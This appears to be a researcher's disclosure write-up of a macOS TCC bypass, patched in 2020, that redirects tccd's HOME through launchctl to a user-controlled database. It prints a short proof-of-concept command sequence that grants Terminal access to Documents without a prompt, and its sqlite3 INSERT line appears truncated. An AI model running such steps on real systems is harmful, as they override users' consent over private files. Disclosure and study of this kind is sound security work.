The Transparency, Consent, and Control (TCC) Framework is an Apple subsystem which denies installed applications access to ‘sensitive’ user data without explicit permission from the user (generally in the form of a pop-up message). While TCC also runs on iOS, this bug is restricted to the macOS variant. To learn more about how TCC works, especially with Catalina, I recommend reading this article.
If an application attempts to access files in a directory protected by TCC without user authorization, the file operation will fail. TCC stores these user-level entitlements in a SQLite3 database on disk at
$HOME/Library/Application Support/com.apple.TCC/TCC.db Apple uses a dedicated daemon,
tccd, for each logged-in user (and one system level daemon) to handle TCC requests. These daemons sit idle until they receive an access request from the OS for an application attempting to access protected data.
When the daemon receives such a request, it first checks the TCC database to see if the user has either allowed or denied access to the requested data before from this application. If so, TCC uses the previous decision; otherwise it prompts the user to choose whether to allow the application access or not. Thus, if an application can gain write access to this TCC database, it can not only give itself all TCC entitlements, but also do it without ever prompting the user.
Obviously being able to write directly to the database completely defeats the purpose of TCC, so Apple protects this database itself with TCC and System Integrity Protection (SIP). Even a program running as root cannot modify this database unless it has the
com.apple.rootless.storage.TCC entitlements. However, the database is still technically owned and readable/writeable by the currently running user, so as long as we can find a program with those entitlements, we can control the database.
Since the TCC daemon is directly responsible for reading and writing to the TCC database, it’s a prime candidate!
Immediately after opening the TCC daemon in Ghidra and looking for code that was related to handling database operations, I noticed something that didn’t seem right.
Essentially, when the TCC daemon attempts to open the database, the program tries to directly open (or create if not already existing) the SQLite3 database at
$HOME/Library/Application Support/com.apple.TCC/TCC.db While this seems inconspicuous at first, it becomes more interesting when you realize that you can control the location that the TCC daemon reads and writes to if you can control what the
$HOME environment variable contains.
I initially dismissed this as a fun trick as the actual TCC daemon running via
launchd completely ignores this database and is the only daemon the OS communicates with when doing authorization events. However, a few days later I stumbled across this Stack Exchange post and realized that since the TCC daemon is running via
launchd within the current user’s domain, I could also control all environment variables passed to it when launched! Thus, I could set the
$HOME environment variable in
launchctl to point to a directory I control, restart the TCC daemon, and then directly modify the TCC database to give myself every TCC entitlement available without ever prompting the end user. As this doesn’t actually modify the SIP-protected TCC database, this bug also has the added benefit of completely resetting TCC to its previous state once
$HOME is unset in
launchctl and the daemon is restarted.
Proof of Concept
The POC for this bug is actually pretty simple and requires no code to be written.
# reset database just in case (no cheating!)
$> tccutil reset All# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
'com.apple.Terminal', 0, 1, 1,
1333333333333337);"# list Documents directory without prompting the end user
$> ls ~/Documents
I also have a full Swift (because why not) writeup available on Github.
- 26 Feb 2020: Issue reported to the Apple Product Security Team
- 27 Feb 2020: Apple reviews report, begins investigation into issue
- 23 Apr 2020: Apple confirms the bug will be fixed in a future update
- 15 Jul 2020: Apple releases patch for the bug (Security Update 2020–004)
I’m trying out this Twitter Infosec thing, so reach out to me there!